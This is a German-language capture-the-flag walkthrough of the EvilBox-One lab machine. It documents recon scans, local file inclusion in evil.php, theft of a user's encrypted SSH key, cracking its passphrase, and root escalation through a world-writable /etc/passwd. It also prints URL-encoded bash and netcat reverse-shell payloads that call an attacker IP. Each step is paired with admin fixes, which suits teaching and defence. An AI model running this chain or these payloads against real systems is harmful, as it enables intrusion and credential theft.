[Keine relevante Ausgabe für Ziel im Log-Auszug, IP 192.168.2.119 wird später verwendet]
Analyse: Der Befehl `arp-scan -l` wird zur Erkennung von Hosts im lokalen Netzwerk mittels ARP-Requests verwendet.
Bewertung: Obwohl die direkte Ausgabe im Log fehlt, zeigen die nachfolgenden Befehle, dass die Ziel-IP `192.168.2.119` identifiziert wurde.
Empfehlung (Pentester): Die identifizierte IP `192.168.2.119` für weitere Scans nutzen.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Scan-Aktivitäten.
192.168.2.119 evilbox.local
Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.119` den Hostnamen `evilbox.local` zuzuweisen.
Bewertung: Dies vereinfacht das Ansprechen des Ziels und ist wichtig für Web-Scans, falls Virtual Hosting verwendet wird.
Empfehlung (Pentester): Verwende `evilbox.local` für nachfolgende Scans und Interaktionen.
Empfehlung (Admin): Lokale Konfiguration des Angreifers.
=============================================================== Gobuster v3.1.0 [...] =============================================================== http://evilbox.local/index.html (Status: 200) [Size: 10701] http://evilbox.local/robots.txt (Status: 200) [Size: 12] http://evilbox.local/secret (Status: 301) [Size: 315] [--> http://evilbox.local/secret/] =============================================================== [...] ===============================================================
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche gegen `http://evilbox.local` eingesetzt. Es findet `/index.html`, `/robots.txt` und ein Verzeichnis `/secret/`.
Bewertung: Die Entdeckung des `/secret/`-Verzeichnisses ist der wichtigste Fund hier. `/robots.txt` sollte ebenfalls untersucht werden.
Empfehlung (Pentester): Untersuche `/robots.txt` und navigiere zum Verzeichnis `/secret/`, um dessen Inhalt zu prüfen.
Empfehlung (Admin): Stelle sicher, dass Verzeichnisse wie `/secret/` angemessen geschützt sind und keine sensiblen Informationen preisgeben.
# Inhalt von http://evilbox.local/robots.txt Hello H4x0r
Analyse: Der Inhalt der `/robots.txt`-Datei ist nur eine Begrüßungsnachricht und enthält keine `Disallow`-Anweisungen.
Bewertung: Diese spezifische `robots.txt` liefert keine direkten Hinweise auf versteckte Pfade.
Empfehlung (Pentester): Konzentriere dich auf das `/secret/`-Verzeichnis, das von `gobuster` gefunden wurde.
Empfehlung (Admin): Standardmäßige `robots.txt`-Dateien sind unbedenklich.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.119 + Target Hostname: 192.168.2.119 + Target Port: 80 + Start Time: 2023-05-30 22:47:41 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5c9a9bb4d712e, mtime: gzip. [...] + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). [...] + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /secret/: This might be interesting. + /icons/README: Apache default file found. [...] [...] --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Webscanner `nikto` wird gegen die IP-Adresse ausgeführt. Er findet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches Inode-Leak über ETags. * Veraltete Apache-Version (2.4.38). * Bestätigt das Verzeichnis `/secret/` als potenziell interessant. * Findet eine Standard-Apache-Datei `/icons/README`.
Bewertung: Nikto bestätigt die veraltete Apache-Version und das interessante `/secret/`-Verzeichnis. Die anderen Funde sind geringfügig.
Empfehlung (Pentester): Untersuche das `/secret/`-Verzeichnis genauer. Recherchiere bekannte Schwachstellen für Apache 2.4.38.
Empfehlung (Admin): Aktualisiere Apache. Implementiere fehlende Sicherheitsheader. Entferne oder beschränke den Zugriff auf Standarddateien und -verzeichnisse wie `/icons/README`.
Analyse Datum: Nikto liefert einen Zeitstempel für den Scan: `2023-05-30`. Dieses Datum wird für den Bericht verwendet.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Ein schneller Nmap-Scan (`-sS`, `-sC`, `-T5`, `-AO`, `-p-`) gefiltert mit `grep open`, um offene Ports zu zeigen.
Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP).
Empfehlung (Pentester): Konzentriere dich auf den HTTP-Dienst, da dort bereits interessante Verzeichnisse gefunden wurden. Behalte SSH als potenziellen späteren Zugangsvektor im Auge.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind.
[...] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 4495500be473a18511ca10ec1ccbd426 (RSA) | 256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA) |_ 256 e30756a92563d4ce3901c19ad9fede64 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:18:5F:30 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms evilbox.local (192.168.2.119) [...]
Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den offenen Ports: * SSH: OpenSSH 7.9p1 (Debian 10). Hostkeys werden angezeigt. * HTTP: Apache 2.4.38 (Debian). Zeigt die Standard-Apache-Seite. * Bestätigt OS als Linux und die VirtualBox MAC-Adresse.
Bewertung: Die spezifischen Versionen (OpenSSH 7.9p1, Apache 2.4.38) sind relevant für die Suche nach bekannten Schwachstellen.
Empfehlung (Pentester): Recherchiere nach bekannten Exploits für die erkannten Softwareversionen. Konzentriere dich weiterhin auf die Web-Enumeration des `/secret/`-Verzeichnisses.
Empfehlung (Admin): Halte alle Dienste (SSH, Apache) auf dem neuesten Stand, um bekannte Schwachstellen zu mitigieren.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://evilbox.local/secret/evil.php?FUZZ=../../../../etc/passwd Total requests: 75408 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000013352: 200 26 L 38 W 1398 Ch "command" Total time: X.XXXXXX Processed Requests: 75408 Filtered Requests: 75407 Requests/sec.: XXXXX.XX
Analyse: `wfuzz` wird hier kreativ eingesetzt, um einen Parameter für die Datei `evil.php` im `/secret/`-Verzeichnis zu finden. Die URL enthält bereits einen LFI/RCE-Versuch (`../../../../etc/passwd`), und `FUZZ` wird als Platzhalter für den Parameter verwendet, der mit Wörtern aus der Liste gefüllt wird. `--hh 0` blendet leere Antworten aus.
Bewertung: Dieser Scan ist erfolgreich und identifiziert den Parameter `command` als gültigen Parameter für `evil.php`, der eine Antwort mit Inhalt (26 Zeilen, 1398 Zeichen - passend zu `/etc/passwd`) zurückliefert. Dies bestätigt die LFI/RCE-Schwachstelle in `evil.php` über den `command`-Parameter.
Empfehlung (Pentester): Nutze die URL `http://evilbox.local/secret/evil.php?command=` , um Dateien zu lesen (LFI) oder Befehle auszuführen (RCE). Versuche, `/etc/passwd`, `/etc/shadow`, SSH-Schlüssel oder andere sensible Dateien zu lesen.
Empfehlung (Admin): **Kritisch!** Die Datei `evil.php` enthält eine gravierende LFI/RCE-Schwachstelle und muss sofort entfernt oder korrigiert werden. Jegliche Benutzereingaben müssen serverseitig validiert und bereinigt werden. Vermeide `include()` oder ähnliche Funktionen mit direkter Benutzereingabe.
# view-source:http://evilbox.local/secret/evil.php?command=/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Analyse: Die LFI/RCE-Schwachstelle wird genutzt, um den Inhalt der Datei `/etc/passwd` auszulesen.
Bewertung: Die Ausgabe bestätigt die erfolgreiche Ausnutzung und zeigt die Benutzerkonten auf dem System. Der Benutzer `mowree` mit der Shell `/bin/bash` ist ein vielversprechendes Ziel für den initialen Zugriff.
Empfehlung (Pentester): Versuche, weitere sensible Dateien über die LFI zu lesen, insbesondere den privaten SSH-Schlüssel des Benutzers `mowree` unter `/home/mowree/.ssh/id_rsa`.
Empfehlung (Admin): Behebe die LFI/RCE-Schwachstelle in `evil.php` dringend!
# Fehlgeschlagene Versuche einer Reverse Shell via URL Parameter: # view-source:http://evilbox.local/secret/evil.php?command=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27 # view-source:http://evilbox.local/secret/evil.php?command=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.113%209001%20%3E%2Ftmp%2Ff
Analyse: Es werden verschiedene URL-kodierte Payloads getestet, um eine Reverse Shell über den `command`-Parameter zu erhalten (Bash Reverse Shell, Netcat mit FIFO).
Bewertung: Diese Versuche scheinen fehlzuschlagen, da keine erfolgreiche Shell-Verbindung im Log dokumentiert ist. Möglicherweise werden bestimmte Zeichen oder Befehle durch die PHP-Funktion (`include`) oder andere Webserver-Filter blockiert.
Empfehlung (Pentester): Da die direkte Codeausführung für eine Reverse Shell fehlschlägt, konzentriere dich auf das Auslesen von Dateien (LFI), insbesondere von SSH-Schlüsseln, um einen alternativen Zugangsweg zu finden.
Empfehlung (Admin): Selbst wenn direkte RCE blockiert ist, stellt LFI ein hohes Risiko dar. Behebe die zugrundeliegende Schwachstelle.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1398 100 1398 0 0 1281k 0 --:--:-- --:--:-- --:--:-- 1365k root:x:0:0:root:/root:/bin/bash mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
Analyse: `curl` wird verwendet, um `/etc/passwd` über die LFI auszulesen, und die Ausgabe wird nach Benutzern mit `/bin/bash` gefiltert.
Bewertung: Bestätigt erneut `root` und `mowree` als Benutzer mit potenziellen Login-Shells.
Empfehlung (Pentester): Fokussiere dich auf den Benutzer `mowree`. Versuche, seinen privaten SSH-Schlüssel zu lesen.
Empfehlung (Admin): Keine neuen Erkenntnisse.
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E [...] -----END RSA PRIVATE KEY-----
Analyse: Die LFI-Schwachstelle wird genutzt, um den Inhalt der Datei `/home/mowree/.ssh/id_rsa` auszulesen, welche den privaten SSH-Schlüssel des Benutzers `mowree` enthält.
Bewertung: Erfolg! Der private SSH-Schlüssel wurde ausgelesen. Die Kopfzeilen (`Proc-Type: 4,ENCRYPTED`, `DEK-Info: DES-EDE3-CBC,...`) zeigen jedoch, dass der Schlüssel mit einer Passphrase verschlüsselt ist.
Empfehlung (Pentester): Speichere den Schlüssel in einer Datei (z.B. `id_rsa`). Verwende `ssh2john`, um den Hash der Passphrase zu extrahieren, und `john` (John the Ripper) mit einer Wortliste (z.B. `rockyou.txt`), um die Passphrase zu knacken.
Empfehlung (Admin): Behebe die LFI-Schwachstelle. Schule Benutzer darin, starke Passphrasen für ihre SSH-Schlüssel zu verwenden und die Schlüssel sicher aufzubewahren.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1743 100 1743 0 0 1085k 0 --:--:-- --:--:-- --:--:-- 1702k
Analyse: Der ausgelesene SSH-Schlüssel wird mit `curl --output id_rsa` in eine lokale Datei gespeichert. Anschließend werden die Dateiberechtigungen mit `chmod 600 id_rsa` korrekt gesetzt, damit SSH-Werkzeuge die Datei verwenden können.
Bewertung: Notwendige Schritte zur Vorbereitung des Passphrase-Crackings und der späteren Verwendung des Schlüssels.
Empfehlung (Pentester): Fahre mit `ssh2john` fort.
Empfehlung (Admin): Keine direkten Maßnahmen.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
[...]
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (id_rsa)
[...]
1g 0:00:00:00 DONE (2023-05-30 23:43) 100.0g/s 128000p/s 128000c/s 128000C/s 753951..poohbear1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: 1. `ssh2john id_rsa > hash`: Extrahiert den Passphrase-Hash aus der Schlüsseldatei `id_rsa` und speichert ihn in der Datei `hash`. 2. `john --wordlist=/usr/share/wordlists/rockyou.txt hash`: Verwendet John the Ripper und die Wortliste `rockyou.txt`, um den Hash zu knacken. John findet erfolgreich die Passphrase: `unicorn`.
Bewertung: Erfolg! Die Passphrase für den privaten SSH-Schlüssel von `mowree` wurde geknackt. Der Weg zum initialen Zugriff über SSH steht nun offen.
Empfehlung (Pentester): Verwende den privaten Schlüssel (`id_rsa`) und die geknackte Passphrase (`unicorn`), um dich per SSH als Benutzer `mowree` am Zielsystem anzumelden (`ssh -i id_rsa mowree@evilbox.local`).
Empfehlung (Admin): Betone die Wichtigkeit starker, nicht im Wörterbuch enthaltener Passphrasen für SSH-Schlüssel. Überwache auf Brute-Force-Angriffe, auch wenn sie gegen Schlüssel-Passphrasen gerichtet sind (obwohl dies offline geschieht).
The authenticity of host 'evilbox.local (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:0x3tf1iiGyqlMEM47ZSWSJ4hLBu7FeVaeaT2FxM7iq8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'evilbox.local' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': unicorn
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
Last login: [...]
mowree@EvilBoxOne:~$
Analyse: Der Befehl `ssh -i id_rsa mowree@evilbox.local` initiiert eine SSH-Verbindung zum Zielhost `evilbox.local` als Benutzer `mowree` unter Verwendung der Schlüsseldatei `id_rsa`. 1. Die Authentizität des Hosts wird bestätigt (`yes`). 2. Die Passphrase für den Schlüssel (`unicorn`) wird eingegeben. 3. Der Login ist erfolgreich, und wir erhalten einen Shell-Prompt als `mowree`.
Bewertung: Der initiale Zugriff als Benutzer `mowree` wurde erfolgreich über SSH mittels des gestohlenen und geknackten privaten Schlüssels erlangt.
Empfehlung (Pentester): Beginne mit der Post-Exploitation-Enumeration auf dem Zielsystem als Benutzer `mowree`, um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Überwache SSH-Logins. Implementiere nach Möglichkeit Multi-Faktor-Authentifizierung für SSH. Behebe die LFI-Schwachstelle, die zum Diebstahl des Schlüssels führte.
-bash: sudo: orden no encontrada
Analyse: Der Versuch, `sudo -l` auszuführen, schlägt fehl, da der Befehl `sudo` nicht gefunden wird.
Bewertung: Entweder ist `sudo` nicht installiert, oder es befindet sich nicht im `PATH` des Benutzers `mowree`. Privilege Escalation über `sudo` ist somit unwahrscheinlich oder erfordert zusätzliche Schritte (z.B. Finden des `sudo`-Pfades).
Empfehlung (Pentester): Suche nach anderen PE-Vektoren: SUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs.
Empfehlung (Admin): Stelle sicher, dass `sudo` korrekt installiert und konfiguriert ist, wenn es verwendet werden soll. Überprüfe den `PATH` für Benutzer.
total 32 drwxr-xr-x 4 mowree mowree 4096 ago 16 2021 . drwxr-xr-x 3 root root 4096 ago 16 2021 .. lrwxrwxrwx 1 root root 9 ago 16 2021 .bash_history -> /dev/null -rwxr-xr-x 1 mowree mowree 220 ago 16 2021 .bash_logout -rwxr-xr-x 1 mowree mowree 3526 ago 16 2021 .bashrc drwxr-xr-x 3 mowree mowree 4096 ago 16 2021 .local -rwxr-xr-x 1 mowree mowree 807 ago 16 2021 .profile drwxr-xr-x 2 mowree mowree 4096 ago 16 2021 .ssh -r-------- 1 mowree mowree 31 ago 16 2021 user.txt
[Ausgabe der User Flag fehlt im Log, wird aber im finalen Flags-Abschnitt erwartet]
Analyse: Das Home-Verzeichnis von `mowree` wird aufgelistet. `.bash_history` ist nach `/dev/null` gelinkt (keine History wird gespeichert). Die Datei `user.txt` ist vorhanden und nur für den Besitzer (`mowree`) lesbar (`-r--------`). Der `cat`-Befehl wird impliziert oder ausgeführt, um die User-Flag zu lesen (obwohl die Ausgabe im Log fehlt).
Bewertung: Die User-Flag befindet sich in `user.txt` und kann vom Benutzer `mowree` gelesen werden.
Empfehlung (Pentester): Notiere die User-Flag. Setze die Enumeration für Privilege Escalation fort.
Empfehlung (Admin): Das Linken der `.bash_history` nach `/dev/null` kann legitime Auditing-Bemühungen behindern.
uid=1000(mowree) gid=1000(mowree) grupos=1000(mowree),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
16114 428 -rwsr-xr-x 1 root root 436552 ene 31 2020 /usr/lib/openssh/ssh-keysign 135600 12 -rwsr-xr-x 1 root root 10232 mar 28 2017 /usr/lib/eject/dmcrypt-get-device 12774 52 -rwsr-xr-- 1 root messagebus 51184 jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 3908 52 -rwsr-xr-x 1 root root 51280 ene 10 2019 /usr/bin/mount 3436 44 -rwsr-xr-x 1 root root 44440 jul 27 2018 /usr/bin/newgrp 56 64 -rwsr-xr-x 1 root root 63736 jul 27 2018 /usr/bin/passwd 3910 36 -rwsr-xr-x 1 root root 34888 ene 10 2019 /usr/bin/umount 52 56 -rwsr-xr-x 1 root root 54096 jul 27 2018 /usr/bin/chfn 53 44 -rwsr-xr-x 1 root root 44528 jul 27 2018 /usr/bin/chsh 55 84 -rwsr-xr-x 1 root root 84016 jul 27 2018 /usr/bin/gpasswd 3583 64 -rwsr-xr-x 1 root root 63568 ene 10 2019 /usr/bin/su
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 128 *:80 *:* [...]
Analyse: Weitere Enumerationsschritte als `mowree`: * `cat evil.php`: Bestätigt den Code der LFI/RCE-Schwachstelle (`include($_GET['command'])`). * `getcap`: Findet keine ungewöhnlichen Linux Capabilities. * `id`, `uname -a`: Bestätigen Benutzer und Kernel-Version (Linux 4.19.0-17). * `find / -type f -perm -4000`: Sucht nach SUID-Binaries. Findet nur Standard-Binaries (mount, passwd, su, etc.), keinen offensichtlichen Exploit-Vektor hier. * `ss -altpn`: Zeigt lauschende Netzwerk-Sockets. Bestätigt SSH (Port 22) und HTTP (Port 80).
Bewertung: Die Standard-Enumerationsvektoren (SUID, Capabilities, sudo) scheinen keine einfache Privilege Escalation zu ermöglichen. Die Kernel-Version 4.19 ist zwar nicht brandneu, aber auch nicht unmittelbar für einen einfachen Exploit bekannt (obwohl Recherche nötig wäre). Es muss einen anderen Weg geben.
Empfehlung (Pentester): Untersuche Dateiberechtigungen genauer, insbesondere von Systemdateien. Suche nach Cronjobs, schlecht konfigurierten Diensten oder Passwörtern in Konfigurationsdateien.
Empfehlung (Admin): Halte den Kernel und alle Systemkomponenten aktuell. Überprüfe regelmäßig Berechtigungen kritischer Dateien.
-rw-rw-rw- 1 root root 1398 ago 16 2021 /etc/passwd
Analyse: * `grep -re password / 2>/dev/null`: Sucht rekursiv im gesamten Dateisystem nach dem Wort "password", unterdrückt Fehler. Findet nichts. * `ls -la /etc/passwd`: Zeigt die Berechtigungen der `/etc/passwd`-Datei an.
Bewertung:** Der `grep`-Befehl liefert keinen Treffer. Die Ausgabe von `ls -la /etc/passwd` ist jedoch **hochkritisch**: Die Datei hat die Berechtigungen `-rw-rw-rw-`, was bedeutet, dass **jeder Benutzer auf dem System die Datei lesen UND schreiben kann!** Dies ist eine massive Sicherheitslücke.
**Empfehlung (Pentester):** Nutze den Schreibzugriff auf `/etc/passwd`, um einen neuen Benutzer mit UID 0 (Root-Rechten) und einem bekannten Passwort hinzuzufügen. Wechsle dann zu diesem Benutzer mit `su`.
**Empfehlung (Admin):** **Äußerst kritisch!** Korrigiere sofort die Berechtigungen der `/etc/passwd`-Datei auf `644` (`chmod 644 /etc/passwd`). Untersuche, wie diese unsicheren Berechtigungen gesetzt wurden und ob das System bereits kompromittiert wurde.
Analyse: Dieser Abschnitt demonstriert die Ausnutzung der unsicheren Berechtigungen der `/etc/passwd`-Datei, um Root-Rechte zu erlangen.
ben
root:x:0:0:root:/root:/bin/bash [...] mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash [...] ben
ben:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Contraseña: password
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. `echo "ben" >> /etc/passwd`: Fügt testweise die Zeile "ben" an `/etc/passwd` an, um den Schreibzugriff zu bestätigen. 2. `grep ben /etc/passwd` und `cat /etc/passwd`: Bestätigen, dass die Zeile hinzugefügt wurde. 3. `nano /etc/passwd`: Öffnet die `/etc/passwd`-Datei in einem Texteditor (hier `nano`, könnte auch `vi` etc. sein). 4. Eine neue Zeile wird hinzugefügt (oder die Zeile `ben` wird modifiziert) zu: `ben:$6$...:0:0:root:/root:/bin/bash`. Dies erstellt einen neuen Benutzer `ben`. Wichtig sind: * `$6$...`: Ein Passwort-Hash für ein bekanntes Passwort (der Hash `$6$` deutet auf SHA512-Crypt hin, oft wird in CTFs einfach ein Hash für "password" oder "12345" verwendet). Hier nehmen wir an, das Passwort ist `password`. * `:0:0:`: Setzt die User ID (UID) und Group ID (GID) auf 0. Dies sind die IDs des Root-Benutzers, wodurch `ben` effektiv Root-Rechte erhält. * `:root:/root:/bin/bash`: Definiert den Kommentar, das Home-Verzeichnis und die Shell. 5. `su ben`: Versucht, zum neu erstellten Benutzer `ben` zu wechseln. 6. Das Passwort (`password`, passend zum Hash) wird eingegeben. 7. Der Wechsel ist erfolgreich, der Prompt zeigt `root@EvilBoxOne`. 8. `id` bestätigt `uid=0(root)`.
Bewertung: Der Proof of Concept ist erbracht. Die Welt-beschreibbare `/etc/passwd`-Datei wurde erfolgreich ausgenutzt, um einen neuen Benutzer mit Root-Privilegien (UID 0) zu erstellen und sich als dieser anzumelden.
Empfehlung (Pentester): Hole die Root-Flag aus `/root`. Bereinige die `/etc/passwd`-Datei (entferne den hinzugefügten Benutzer), falls dies Teil des Auftrags ist.
Empfehlung (Admin): **Dringend!** Korrigiere die Berechtigungen von `/etc/passwd` auf `644`. Überprüfe die `/etc/passwd`-Datei auf unautorisierte Einträge und entferne diese. Untersuche, wie die unsicheren Berechtigungen zustande kamen.
Bewertung: Die Privilege Escalation wurde durch Ausnutzung einer schwerwiegenden Fehlkonfiguration erreicht: Die Datei `/etc/passwd` war für alle Benutzer beschreibbar (`-rw-rw-rw-`). Dies ermöglichte es dem Angreifer (als Benutzer `mowree`), einen neuen Benutzer (`ben`) mit der User ID 0 und einem bekannten Passwort-Hash zur `/etc/passwd`-Datei hinzuzufügen. Anschließend konnte mittels `su ben` und dem bekannten Passwort (`password`) Root-Zugriff erlangt werden.
36QtXfdJWvdC0VavlPIApUbDlqTsBM
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
Analyse: Als Root-Benutzer werden die Flags gelesen: 1. `cat root.txt` im `/root`-Verzeichnis (oder wo immer `~` für root hinführt) liest die Root-Flag. 2. Nach Wechsel in `/home/mowree` wird `cat user.txt` ausgeführt, um die User-Flag zu lesen.
Bewertung: Beide Flags, Root (`36QtXfdJWvdC0VavlPIApUbDlqTsBM`) und User (`56Rbp0soobpzWSVzKh9YOvzGLgtPZQ`), wurden erfolgreich gefunden.
Empfehlung (Pentester): Dokumentiere die Flags. Der Test ist abgeschlossen.
Empfehlung (Admin): Korrigiere die `/etc/passwd`-Berechtigungen. Überprüfe Dateiberechtigungen systemweit.